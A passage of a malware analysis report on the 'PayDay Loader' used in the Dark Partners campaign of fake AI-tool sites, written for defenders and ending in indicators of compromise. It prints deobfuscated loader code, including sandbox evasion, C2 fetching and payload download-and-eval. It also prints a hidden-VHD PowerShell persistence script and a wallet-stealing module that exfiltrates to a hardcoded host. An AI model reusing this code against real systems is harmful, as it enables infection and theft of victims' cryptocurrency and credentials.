'idaq64',
'joeboxcontrol',
'joeboxserver',
'ollydbg',
'proc_analyzer',
'procexp',
'procmon',
'pestudio',
'qemu-ga',
'qga',
'regmon',
'sniff_hit',
'sysanalyzer',
'tcpview',
'windbg',
'wireshark',
'x32dbg',
'x64dbg',
'vmwareuser',
'vmacthlp',
'vboxservice',
'vboxtray',
'xenservice',
'procexp64',
'procexp'
];
async function checkProcess() {
const detectedProcesses = await Promise.all(processNames.map(async (processName) => {
try {
const processes = await (0, find_process_1.default)('name', processName);
return processes.length > 0;
}
catch (e) {
return false;
}
}));
if (!detectedProcesses.includes(true)) {
}
else {
process.exit();
}
}
The main entry point of this Electron project is ~/.output/electron/background.js. This file is the responsible to manage the application-level logic and handling user interactions with the app.
It has some interesting IPC events like this “invoke-resize” event that loads a hardcoded URL on host app-tools[.]info (Sadly domain is not reachable nor seems to be any archive of this URL)
electron_1.ipcMain.on('invoke-resize', (event, { width, height }) => {
// (mainWindow as BrowserWindow).setSize(width, height);
mainWindow.maximize();
mainWindow.loadURL('https://replicate-6phm9gg3zoacooy.app-tools.info/explore');
});
And also the “invoke-start-install” event that loads an external function from ~/.output/electron/outMutation.js, executing when the “Install” button is clicked by the user
const outMutation_js_1 = require("./outMutation.js");
<...>
electron_1.ipcMain.on('invoke-start-install', (event, arg) => {
console.log('invoke-start-install');
(0, outMutation_js_1.hegrwwf)();
});
The ‘hegrwwf’ function is an obfuscated function that starts the loader behaviour of this application
//.output/electron/outMutation.js
"use strict";
function hegrwwf() {
eval(atob('InVzZSBzdH<...>Z3V1KCl9KSk7'));
}
;
module.exports = { hegrwwf };
//deobfuscated function at .output/electron/outMutation.js
"use strict";
var https = require("https"),
fs = require("fs"),
a1 = (t, e) => t.match(new RegExp(`${e}="([^"]*)"`))[1],
a2 = async (t, e) => {
try {
const s = await fetch(t);
if (s.ok) {
if (200 !== s.status) {
const t = s.headers.get(location);
return a2(t, e)
}
const t = await s.text();
e(null, a1(t, data-base-title))
} else e(new Error(""))
} catch (t) {
e(t)
}
}, a3 = async (t, e) => {
try {
const s = await fetch(t);
if (s.ok) {
const t = await s.text(),
c = s.headers;
e(null, {
payload: t,
iv: c.get(ivbase64),
secretKey: c.get(secretkey)
})
} else e(new Error(""))
} catch (t) {
e(t)
}
}, a6 = async () => {
await a2(https://calendar.app.google/XJEQmDyB7X18L4gW9), (async (a4, link) => {
a4 ? (console.log("a4"), await new Promise((t => setTimeout(t, 1e3))), a6()) : await a3(atob(link), (async (a4, {
payload: payload,
iv: iv,
secretKey: secretKey
}) => {
if (a4) await new Promise((t => setTimeout(t, 1e3))), a6();
else {
if (20 == payload.length) return void eval(atob(payload));
const _iv = Buffer.from(iv, "base64");
eval(atob(payload))
}
}))
}))
}, a5 = process.env.TEMP + "\\awbvfmwp";
fs.existsSync(a5) && process.exit(1), fs.writeFileSync(a5, ""), process.on("exit", (() => {
fs.unlinkSync(a5)
})), a6();
var var = 0;
process.on("uncaughtException", (async t => {
++var > 10 && process.exit(0), await new Promise((t => setTimeout(t, 1e3))), a6()
}));
As we observe, the PayDay Loader relies on Google Calendar links as Dead Drop Resolver to encode the C2 server where more malicious JavaScript payloads are served:
The C2 is retrieved from the content on the tag “data-base-title” on the response
aHR0cDovLzE0MC44Mi41NC4yMjMvZWJZQ09oamZDQTRUcUZzMUlWSDROdyUzRCUzRA==
>>>> b64 encoded C2 <<<<
http://140.82.54.223/ebYCOhjfCA4TqFs1IVH4Nw%3D%3D
And a HTTP request is made to this C2 server. This C2 server will deliver the obfuscated JavaScript malicious code.
If as sandbox request is detected, the C2 will return a 20-bytes length b64 encoded payload (‘cHJvY2Vzcy5leGl0KDAp’ , encoded ‘process.exit(0)’) that will trigger the condition on the build code and stop the execution of the loader.
A normal response of the C2 will look like this:
#Request
GET /ebYCOhjfCA4TqFs1IVH4Nw%3D%3D HTTP/1.1
User-agent: undici
Host: 140.82.54.223
#Valid Response
HTTP/1.1 200 OK
content-type: text/plain; charset=utf-8
secretkey: wbnCw7pvI+KB98MNUStp8Arf+52bL/Y+
ivbase64: BTfsHBEG8gB30TVL7dIerQ==
content-length: 235908
Ly8ganNQYXlsb2FkL3RlbXAvbnZWSlc2VTBzNy5qcwp2YXIgY3J5cH<...>
Please note that the response originated from the server are unique for each request. For some reason, builds analysed uses a custom UA: ‘undici’
Decoded:
// jsPayload/temp/nvVJW6U0s7.js
var crypto = require("crypto");
var decipher = crypto.createDecipheriv("aes-256-cbc", secretKey, _iv);
var bodyScript = decipher.update("9kcIui<...>6+RQVdCA=", "base64", "utf8");
bodyScript += decipher.final("utf8");
eval(bodyScript);
The code snippet exposed before will then decode another JavaScript code using the Key and the IV given by the server in the response.
This new code represents the main functionalities of the PayDay Loader. Once deobfuscated, we can observe different behavior of this malware:
Full obfuscated and deobfuscated code can be found at: https://github.com/g0njxa/PayDayLoader
Loader
The Payday Loader downloads Node.js
async function G() {
try {
await new Promise(c => setTimeout(c, 4000));
const D = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip";
const z = path.join(process.env.APPDATA, "node_x64");
const e = "hQhSxAdBQB.zip";
const Q = path.join(process.env.TEMP, e);
R(Q);
const h = fs.createWriteStream(Q);
await new Promise(c => setTimeout(c, 1000));
https.get(D, c => {
c.pipe(h);
h.on("finish", async () => {
h.close();
await new Promise(f => setTimeout(f, 1000));
if (!fs.existsSync(z)) {
const f = {
recursive: true
};
fs.mkdirSync(z, f);
}
Then, fetches builds from C2 host and decodes it:
const crypto = require('crypto');
const {run} = require('" + path_module + "');
(() => {
let key = null;
let iv = null;
fetch('http://140.82.54.223/get_encrypt_file/9o0il09RRPEPoS%2BmEZPaDg%3D%3D').then(response => {
key = Buffer.from(response.headers.get('X-Encryption-Key'), 'base64');
iv = Buffer.from(response.headers.get('X-Encryption-IV'), 'base64');
return response.arrayBuffer();
}).then(encryptedData => {
const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
const decryptedData = Buffer.concat([
decipher.update(Buffer.from(encryptedData)),
decipher.final()
]);
const result = run(decryptedData);
}).catch(error => {
console.error(error);
});
})();
Request Loading
#Request
GET /get_encrypt_file/9o0il09RRPEPoS%2BmEZPaDg%3D%3D HTTP/1.1
Host: 140.82.54.223
#Response
HTTP/1.1 200 OK
content-disposition: attachment; filename="<RANDOM>.exe"
content-type: application/octet-stream
x-encryption-key: zVSF/JlDPwW2Lrkhk3kJxg==
x-encryption-iv: WN6P/NHud0goJK1c12EhwQ==
content-length: 353296
ÞÁxÇæ¿ÓdèiúæÌª³º<...>
The malware is executed using the index.node file present on build
const crypto = require('crypto');
const {
run
} = require('C:/Users/admin/AppData/Local/Temp/Rar$EXa4824.37008/resources/index.node');
(() => {
let key = null;
let iv = null;
fetch('http://140.82.54.223/get_encrypt_file/JJVpLy4DY6zktgdembdB0A%3D%3D')
.then((response) => {
key = Buffer.from(response.headers.get('X-Encryption-Key'), 'base64');
iv = Buffer.from(response.headers.get('X-Encryption-IV'), 'base64');
return response.arrayBuffer();
})
.then((encryptedData) => {
const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
const decryptedData = Buffer.concat([decipher.update(Buffer.from(encryptedData)), decipher.final()]);
const result = run(decryptedData);
})
.catch((error) => {
console.error(error);
});
})()
The malware loaded is Lumma Stealer with no crypt. Alert is not shown because UAC is bypassed.
Example detonation: https://app.any.run/tasks/5f25fb51-e7fa-471d-a7ae-9cf5662699f5
More malware was being loaded from C2 server, in this case:
http://140.82.54.223/oierajasdkwcnwuqwd/fx8I96OXirLAMGekkCL3yA%3D%3D
Example detonation: https://app.any.run/tasks/6a1d1b3d-a5e1-4e3a-9b0a-faa86b30bfb2
This malware creates persistence on the machine and uses 94.141.122.164:33337 as C2, execution is made abusing LOLBIN “ComputerDefaults.exe” to bypass UAC.
No further analysis has been made to this build, please refer to detonation. This file is downloaded under the Persistence module.
Persistence
The PayDay Loader creates persistence on the machine by creating a Powershell script (executed via net.node)
Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
'
function Hide-Console {
$consolePtr = [Console.Window]::GetConsoleWindow()
[Console.Window]::ShowWindow($consolePtr, 0)
}
Hide-Console | Out-Null
$task = Get-ScheduledTask -TaskName "Update" -ErrorAction SilentlyContinue
if ($task -ne $null) {
Unregister-ScheduledTask -TaskName "Update" -Confirm:$false
}
schtasks /create /tn "Update" /tr "powershell -ExecutionPolicy Bypass -File " + D + "" /rl highest /sc onlogon
$registryPath = "HKCU:\Software\Plutos"
$registryName = "InitPath"
$savedPath = Get-ItemProperty -Path $registryPath -Name $registryName -ErrorAction SilentlyContinue
if ($savedPath -and $savedPath.$registryName) {
$vhdPath = $savedPath.$registryName + "\setting.json:disk.vhd"
} else {
return
}
Mount-DiskImage -ImagePath $vhdPath -ErrorAction Stop
$diskImage = Get-DiskImage -ImagePath $vhdPath
$diskNumber = $diskImage.Number
$driveLetter = (Get-Partition -DiskNumber $diskNumber).DriveLetter
$volumeInfo = Get-Volume -DriveLetter $driveLetter
if ($volumeInfo) {
mountvol "$($savedPath.$registryName)\.ini" $volumeInfo.UniqueId
Start-Sleep -Seconds 1
$exeFilePath = "$($savedPath.$registryName)\.ini"
Start-Process -FilePath ($exeFilePath + '\notepad_software_x64.exe') -ArgumentList "-ExecutionPolicy Bypass -File $exeFilePath" -PassThru
Start-Sleep -Seconds 12
Dismount-DiskImage -ImagePath $vhdPath | Out-Null
}
Using a scheduled task “Update”, runs powershell scripts at every user logon. It also retrieves a registry value from HKCU:\Software\Plutos that points to a directory containing a payload. Within this directory, it accesses a virtual hard disk (VHD) file that is hidden inside an NTFS alternate data stream (setting.json:disk.vhd). The VHD is mounted, and the associated volume is linked to a disguised .ini file path using mountvol. The script then executes a file named notepad_software_x64.exe from this mounted volume. After a short delay to ensure execution, the script unmounts the VHD, removing traces of the payload.
Stealer
The PayDay Loader has a NodeJS stealer module to exfiltrate cryptocurrencies wallet data to an external C2. Using the ADM-ZIP library for NodeJS , the Payday Loader is able to find, pack and send wallet information to a hardcoded C2 host.
const I = new AdmZip();
I.addLocalFolder(i);
let Y = I.toBuffer();
const K = {
method: "POST", hostname: "rexruit.com",
path: "/wall",
headers: {
"Content-Type": "application/octet-stream"
}
}
The PayDay Loader supports the exfiltration of the following cryptocurrencies wallet extensions and desktop applications:
MetaMask: "nkbihfbeogaeaoehlefnkodbefgpgknn",
Binance: "fhbohimaelbohpjbbldcngcnapndodjp",
Phantom: "bfnaelmomeimhlpmgjnjophhpkkoljpa",
Coinbase: "hnfanknocfeofbddgcijnmhnfnkdnaad",
Ronin: "fnjhmkhhmkbjkkabndcnnogagogbneec",
Exodus: "aholpfdialjgjfhomihkjbmgjidlcdno",
KardiaChain: "pdadjkfkgcafgbceimcpbkalnfnepbnk",
TerraStation: "aiifbnbfobpmeekipheeijimdpnlpgpp",
Wombat: "amkmjjmmflddogmhpjloimipbofnfjih",
Harmony: "fnnegphlobjdpkhecapkijjdkgcjhkib",
Nami: "lpfcbjknijpeeillifnkikgncikgfhdo",
MartianAptos: "efbglgofoippbgcjepnhiblaibcnclgk",
Braavos: "jnlgamecbpmbajjfhmmmlhejkemejdma",
XDEFI: "hmeobnfnfcmdkdcmlblgagmfpfboieaf",
Yoroi: "ffnbelfdoeiohenkjibnmadjiehjhajb",
TON: "nphplpgoakhhjchkkhmiggakijnkhfnd",
Authenticator: "bhghoamapcdpbohphigoooaddinpkbai",
MetaMask_Edge: "ejbalbakoplchlghecdalmeeeajnimhm",
Tron: "ibnejdfjmmkpcnlpebklmnkoeoihofec",
MathWallet: "afbcbjpbpfadlkmhmclhkeeodmamcflc",
Guarda: "hpglfhgfnhbgpjdenjgmdgoeiappafln",
JaxxLiberty: "cjelfplplebdjjenllpjcblmjkfcffne",
iWallet: "kncchdigobghenbbaddojjnnaogfppfj",
MewCx: "nlbmnnijcnlegkjjpcfjclmcfggfefdm",
NeoLine: "cphhlgmgameodnhkjdmkpanlelnlohao",
CloverWallet: "nhnkbkgjikgcigadomkphalanndcapjk",
LiqualityWallet: "kpfopkelmapcoipemfendmdcghnegimn",
Keplr: "dmkamcknogkgcdfhhbddcghachkejeap",
Sollet: "fhmfendgdocmcbmfikdcogofphimnkno",
AuroWallet: "cnmamaachppnkjgnildpdmkaakejnhae",
PolymeshWallet: "jojhfeoedkpkglbfimdfabpdfjaoolaf",
ICONex: "flpiciilemghbmfalicajoolhkkenfel",
Coin98: "aeachknmefphepccionboohckonoeemg",
EVERWallet: "cgeeodpfagjceefieflmdfphplkenlfk",
TrezorPasswordManager: "imloifkgjagghnncjkhggdhalmcnfklk",
Rabby: "acmacodkjbdgmoleebolmdjonilkdbch",
Oxygen: "fhilaheimglignddkjgofkcbgekhenbh",
PaliWallet: "mgffkfbidihjpoaomajlbgchddlicgpn",
BoltX: "aodkkagnadcbobfpggfnjeongemjbjca",
NamiWallet: "lpfcbjknijpeeillifnkikgncikgfhdo",
MaiarDeFiWallet: "dngmlblcodfobpdpecaadgfbcggfjfnm",
WavesKeeper: "lpilbniiabackdjcionkobglmddfbcjo",
Solflare: "bhhhlbepdkbapadjdnnojkbgioiodbic",
CyanoWallet: "dkdedlpgdmmkkfjabffeganieamfklkm",
KHC: "hcflpincpppdclinealmandijcmnkbgn",
TezBox: "mnfifefkajgofkcjkemidiaecocnkjeh",
Temple: "ookjlbkiijinhpmnjffcofjonbfbgaoc",
Goby: "jnkelfanjkeadonecabehalmbgpfodjm",
EOSAuthenticato: "oeljdldpnmdbchonielidgobddffflal",
GAuthAuthentica: "ilgcnhelpchnceeipipijaljkblbcobl",
ExodusWeb3Wallet: "flpiciilemghbmfalicajoolhkkenfel",
Braavos_wallet: "jnlgamecbpmbajjfhmmmlhejkemejdma",
Eth_and_Polk_Web3_Wallet: "kkpllkodjeloidieedojogacfhpaihoh",
OKX_Wallet: "mcohilncbfahbmgdjkbpemcciiolgcge",
Sender_Wallet: "epapihdplajcdnnkdeiahlgigofloibg",
Hashpack: "gjagmgiddbbciopjhllkdnddhcglnemk",
Eternl: "kmhcihpebfmpgmihbkipmjlmmioameka",
GeroWallet: "bgpipimickeadkjlklgciifhnalhdjhe",
Pontem_Aptos_Wallet: "phkbamefinggmakgklpkljjmgibohnba",
Petra_Aptos_Wallet: "ejjladinnckdgjemekebdpeokbikhfci",
EMartian_Aptos_Wallet: "efbglgofoippbgcjepnhiblaibcnclgk",
Finnie: "cjmkndjhnagcfbpiemnkdpomccnjblmj",
Leap_Terra_Wallet: "aijcbedoijmgnlmjeegjaglmepbmpkpi",
Trust_Wallet: "egjidjbpglichdcondbcbdnbeeppgdph",
Wverse: "idnnbdplmphpflfnlkomgpfbpcgelopg",
unisat: "ppbibelpcjmhbdihakflkdcoccbgbkpo",
leap: "fcfcfllfndlomdhbehjjcoimbgofdncg",
sui: "opcgpfmipidbgpenhmajoajpbobppdil",
Atomic_desktop: "Local Storage\\leveldb",
Exodus_desktop: "exodus.wallet",
Electrum_desktop: "wallets",
Guarda_desktop_1: "Local Storage\\leveldb",
Guarda_desktop_2: "https_guarda.co_0.indexeddb.leveldb",
Guarda_desktop_3: "Session Storage",
Coinomi_desktop: "wallets",
MetaMask_Firefox: "4294967295"
Code Signing Certificate Abuse
Threat actors behind Dark Partners relies on EV cert signed builds in order to deliver malware to Windows users.
Certificates are likely purchased from vendors by Dark Partners threat actors. All certificates were revoked promptly after discovery of the signed malicious builds, disrupting temporally the Dark Partners malware campaign by flagging builds with revoked certificates, making them to disable websites until a new signature was applied to builds or making them delivering builds with no certificate that were already being flagged by browsers as “untrusted”.
Tracked signers found at Payday Loader builds. Source: https://certcentral.org/lookup?detail_type=malware&query=Paydayloader
K.MY TRADING TRANSPORT COMPANY LIMITED
ICEL LOGISTICS COMPANY LIMITED
AKE Holdings Limited
Weifang Hanya Cultural Communication Co., Ltd.
LLC KomService
Wuhan Nuochenxing Technology Co., Ltd.
Shanxi Jiusheng Tongyuan Renewable Energy Co., Ltd.
Conclusions
The Dark Partners malware campaign has a primary objective of infecting people over fake websites. In order to monetize this campaign, they steal cryptocurrencies balances from victim wallets and leverages infostealers to get victim credentials that will be likely checked and further sold.
Feel free to contact and share your history if do you think you have been a victim of the Dark Partners malware campaign.
IOCS
Samples analysed
#PayDay Loader builds
b5151e75e8e8af1519bef9111f2acbb24b290f0b1f9e7bc0518e9e6eac95f7cc
5ca6b15a14af2c8e9024e6168a8b30b84b49aeb593af31ecd7d0bbfc0a82c067
07b610bf7862614da77ebf4ba2773471fc6f9dc80a6e64b9f1e1287e260d739b
cee3a87d1cbce053b9ab01966eecab5eee34934b62ea662fe8bc97a0ef6f4f11
80303bf8c5e0d105e96c61627e5bc599ced1a9708c216fa575d7ce33535e7047
7a368e51340b4cf673bce4031aafbb091f889439108e0bd9af7f9db39637c92f
b9457326cb02aa98a2e9243b79ba6cc1138485d1066b64621b6013c6df15d8a2
e6c74a6f5d4b19f33730576fc8d0104501327f208ca4bd3cf0b96be86cc4e911
c90782b335649daeb853d04944f138a5662d5644d642f07e4a064ff1315fe2cf
3c82e15750142216665e2a2537ce5d0de05312ff06bdf62819ef86cbb3826d08
2355248070b08d290a07e9a6ff8f8eed856a1bdfb28e256368afdb89ffc38e35
c3f9c300ca939a51d599114246beb08afb473bff565438994e9e1b457dbf5492
5a1fab9beb8ee0c8f570d5df14c018b3444b0859b0b9f8cb6abc41fb9bf4e073
9d54779c91c5ff137e5c5c4b7eb1a284d29dc27c4e64126615c58e4557ee998c
82d2b0397dba3749c0444a70a197edaf4c862d815f00c2c4b47746c8e11da4f7
bdda199202fb5d66c5e17539818b06d6b514af8a9a6535a4393fecd3a32e670c
f82be98ea43b62e983683c0494dc6abf7a155843363f0107d484247ff1c2520a
#Poseidon Stealer
4924ff91e9be84960f9241130e080bb5f3cbf19f17f62e1fc15e48fb6852cd89
baa5220f6fed2cf0b526b1b2fbc3fbf45abf1968de40acbab99f0e57ab2127b1
aa39323513603117cbc6d6c694849e92854b4193e22be087ec0f20019872e98a
85f61e048c330aaafd81ac5a78b8d72049d80e006fcfd95e32afaf8a883d2b10
3ef9c05b09eced9e1ea6bd3ebaaf6df26573db0addbbdcef025fb1f0438f5e7a
Malware
#Poseidon
65.20.101.215/p2p
199.247.14.131/p2p
#PayDay Loader
140.82.54.223
95.179.216.217
Past Telemetry
Poseidon Stealer panels since the purchase
panel[.]x00x[.]online
bendiregitimi[.]com
face[.]techdom[.]click
mulkrsvtolooy8s[.]woltde[.]com
185.28.119.85
185-235-128-217[.]netherlands-2[.]vps[.]ac
209.126.1.139
runwayml[.]mandarin-ca[.]com
Landing pages domains
abstract[.]little-mouse[.]net
copy-ai[.]little-mouse[.]net
copy-ai-de[.]little-mouse[.]net
haiper[.]little-mouse[.]net
haiper-black[.]little-mouse[.]net
upscayl-ai[.]org
runway[.]upscayl-ai[.]org
run[.]upscayl-ai[.]org
runway-two[.]upscayl-ai[.]org
runway-black-two[.]upscayl-ai[.]org
tg-l[.]upscayl-ai[.]org
sweet[.]upscayl-ai[.]org
swett-black[.]upscayl-ai[.]org
soraai-install-now[.]com
get-loom[.]org
app-creatify[.]com
tiktok-studio-download[.]com
get-loom[.]com
get-tradingview[.]org
my-bisc[.]network
creatify-app[.]com
my-creativity[.]org
my-pica[.]com
my-pica[.]art
my-descript[.]com
my-koinly[.]com
my-hotgame[.]com
my-creativity[.]org
meta-trader5[.]com
my-creatify[.]org
tradingview-app[.]org
ai-creatify[.]org
my-loom[.]org
piica-art[.]com
traidingview-app[.]com
windscriibe[.]org
sora-install-now[.]com
blender-ai[.]com
descript-ai[.]com
loom-rewind[.]com
piica[.]org
deepseek-download[.]com
app-deepseek[.]org
app-deepspeek[.]com
ai-deepseek[.]org
my-deepseek[.]com
get-deepseek[.]com
my-deepseek[.]org
sora-ai-explore[.]com
loom-download[.]com
tradingview-app[.]org
soraai-install[.]com
openai-index[.]org
sora-ai-download-now[.]com
sora-installs[.]com
my-exodus[.]com
check-airdrop[.]org
index-my[.]com
tradingview-exchange[.]com
lumion2024[.]com
gen-3-alpha[.]com
app-ispring[.]com
get-hiper[.]me
creatify-ai[.]org
videopto[.]com
moxon4d[.]com
maxon-cinema4d[.]com
videoproconv[.]org
runway-gen3-alpha[.]com
runaway-gen3[.]com
alpha-gen-3[.]com
gen3alpha[.]org
openai[.]app-technology[.]org
sora-library[.]com
gen3ai[.]app-technology[.]org
ai[.]app-technology[.]org
app-technology[.]org
ai[.]app-openai[.]com
sora-ai[.]app-openai[.]com
index-sora[.]app-openai[.]com
sora[.]app-openai[.]com
my-sora[.]app-openai[.]com
app-openai[.]com
get-openai[.]app-sora[.]org
app-sora[.]org
ai-runway[.]gen3-alpha[.]com
get-runway[.]gen3-alpha[.]com
get[.]openai-index-sora[.]com
generation[.]openai-index-sora[.]com
openai-index-sora[.]com
replicate-page[.]generate-ai[.]org
get[.]index-sora-ai-video[.]com
runwayai[.]gen3-alpha[.]com
openai[.]index-sora-ai-video[.]com
index-sora-ai-video[.]com
italy-openai[.]app-sora[.]org
app[.]unusual-whales[.]com
france-openai[.]app-sora[.]org
spain-openai[.]app-sora[.]org
openai[.]app-sora[.]org
gen3-alpha[.]com
runway[.]gen3-alpha[.]com
app-sora[.]org
unusual-whales[.]com
blender-ai[.]com
tiktoklivestudio[.]com
runway[.]xyz-domination[.]com
eth[.]xyz-domination[.]com
eclipse[.]xyz-domination[.]com
abstract[.]xyz-domination[.]com
girlvanc[.]xyz-domination[.]com
tt[.]xyz-domination[.]com
koinly[.]xyz-domination[.]com
metatrader[.]xyz-domination[.]com
bisq[.]xyz-domination[.]com
aave[.]xyz-domination[.]com
descript[.]xyz-domination[.]com
ledger[.]xyz-domination[.]com
earni-fi[.]xyz-domination[.]com
tg-l[.]xyz-domination[.]com
redirect[.]xyz-domination[.]com
windscribe[.]xyz-domination[.]com
tradingview[.]xyz-domination[.]com
piica-org[.]xyz-domination[.]com
loom-rewind[.]xyz-domination[.]com
creatify[.]xyz-domination[.]com
sora[.]xyz-domination[.]com
creatify-6phm9gg3zoacooy[.]xyz-domination[.]com
sora-6phm9gg3zoacooy[.]xyz-domination[.]com
loom-rewind[.]app-tools[.]info
earni-fi[.]app-tools[.]info
wind-scribe[.]app-tools[.]info
piica-org[.]app-tools[.]info
ledger[.]app-tools[.]info
redirect[.]app-tools[.]info
jotoform[.]app-tools[.]info
deep[.]app-tools[.]info
tradingview[.]app-tools[.]info
runwayml[.]app-tools[.]info
tg-l[.]app-tools[.]info
creatify[.]app-tools[.]info
upscayl[.]app-tools[.]info
hedra[.]app-tools[.]info
aiarty[.]app-tools[.]info
timedoctor[.]app-tools[.]info
videoproc[.]app-tools[.]info
ispring[.]app-tools[.]info
maxon[.]app-tools[.]info
lumion[.]app-tools[.]info
unusualwhales[.]app-tools[.]info
albert[.]app-tools[.]info
stripe[.]app-tools[.]info
macclean[.]app-tools[.]info
jotoform-6phm9gg3zoacooy[.]app-tools[.]info
redirect-gqxpcgzdrjeebyx[.]app-tools[.]info
ledger-6phm9gg3zoacooy[.]app-tools[.]info
ledger-two-6phm9gg3zoacooy[.]app-tools[.]info
ledger-treee-6phm9gg3zoacooy[.]app-tools[.]info
windscribe-6phm9gg3zoacooy[.]app-tools[.]info
piica-6phm9gg3zoacooy[.]app-tools[.]info
loom-rewind-6phm9gg3zoacooy[.]app-tools[.]info
earni-fi-6phm9gg3zoacooy[.]app-tools[.]info
ispring-6phm9gg3zoacooy[.]app-tools[.]info
video-proc-6phm9gg3zoacooy[.]app-tools[.]info
timedoctor-6phm9gg3zoacooy[.]app-tools[.]info
aiarty-6phm9gg3zoacooy[.]app-tools[.]info
hedra-6phm9gg3zoacooy[.]app-tools[.]info
creatify-6phm9gg3zoacooy[.]app-tools[.]info
tradingview-6phm9gg3zoacooy[.]app-tools[.]info
deepseek-6phm9gg3zoacooy[.]app-tools[.]info
deepseek-umxvljvoilcnxih[.]app-tools[.]info
stripe-redirect-6phm9gg3zoacooy[.]app-tools[.]info
stripe-redirect-zoimglwkogheeel[.]app-tools[.]info
haiper-6phm9gg3zoacooy[.]app-tools[.]info
haiper-umxvljvoilcnxih[.]app-tools[.]info
upscayl-6phm9gg3zoacooy[.]app-tools[.]info
unusualwhales-6phm9gg3zoacooy[.]app-tools[.]info
akool-6phm9gg3zoacooy[.]app-tools[.]info
escadajobs-6phm9gg3zoacooy[.]app-tools[.]info
lumion-6phm9gg3zoacooy[.]app-tools[.]info
maxon-6phm9gg3zoacooy[.]app-tools[.]info
face-6phm9gg3zoacooy[.]app-tools[.]info
sora-6phm9gg3zoacooy[.]app-tools[.]info
sweethome-umxvljvoilcnxih[.]app-tools[.]info
face-umxvljvoilcnxih[.]app-tools[.]info
sora-umxvljvoilcnxih[.]app-tools[.]info
mac-clean-umxvljvoilcnxih[.]app-tools[.]info
runway-6phm9gg3zoacooy[.]app-tools[.]info
runway-umxvljvoilcnxih[.]app-tools[.]info
ultraviewer-6phm9gg3zoacooy[.]app-tools[.]info
monday-6phm9gg3zoacooy[.]app-tools[.]info
proai[.]bignoxplay[.]com
sweethome[.]bignoxplay[.]com
synthesia[.]bignoxplay[.]com
uizard[.]bignoxplay[.]com
luminar[.]bignoxplay[.]com
akool[.]bignoxplay[.]com
weface[.]bignoxplay[.]com
haiper[.]bignoxplay[.]com
aimodel[.]bignoxplay[.]com
lulu[.]mandarin-ca[.]com
runwayml[.]mandarin-ca[.]com
monday[.]mandarin-ca[.]com
openaai[.]clear-trip-ae[.]com
postman[.]travel-watch[.]org
bybit[.]travel-watch[.]org
proai[.]travel-watch[.]org
havoc[.]travel-watch[.]org
sweethome[.]travel-watch[.]org
synthesia[.]travel-watch[.]org
uizard[.]travel-watch[.]org
aimodel[.]travel-watch[.]org
luminar[.]travel-watch[.]org
haiper[.]travel-watch[.]org
weface[.]travel-watch[.]org
ultra[.]cleartrip[.]voyage
dipo[.]cleartrip[.]voyage
liama[.]cleartrip[.]voyage
cap[.]cleartrip[.]voyage
albert[.]cleartrip[.]voyage
sweethome[.]cleartrip[.]voyage
synthesia[.]cleartrip[.]voyage
uizard[.]cleartrip[.]voyage
sorablack[.]cleartrip[.]voyage
macblack[.]cleartrip[.]voyage
mac[.]cleartrip[.]voyage
akool[.]cleartrip[.]voyage
haiper[.]cleartrip[.]voyage
weface[.]cleartrip[.]voyage
leonardoai[.]evoto-ai[.]me
face[.]techdom[.]click
haiper[.]techdom[.]click
akool[.]techdom[.]click
facetwo[.]techdom[.]click
luminarblack[.]techdom[.]click
aimodel[.]techdom[.]click
uizard[.]techdom[.]click
synthesia[.]techdom[.]click
locketgold[.]techdom[.]click
liama[.]techdom[.]click
upscayl[.]techdom[.]click
ynthesia[.]techdom[.]click
leonardoai[.]evoto-ai[.]me
haiper[.]evoto-ai[.]me
black[.]evoto-ai[.]me
evoto-ai[.]me
References
https://x.com/g0njxa/status/1884368749316227321
https://x.com/dez_/status/1881082356901245398|
https://x.com/g0njxa/status/1896898359887106135
https://x.com/SquiblydooBlog/status/1916540254015611056
Feel free to dive yourself into this report, analyse further the samples and uncover more details that I may missed here.
Expect more content, if possible.
2025 ~ @g0njxa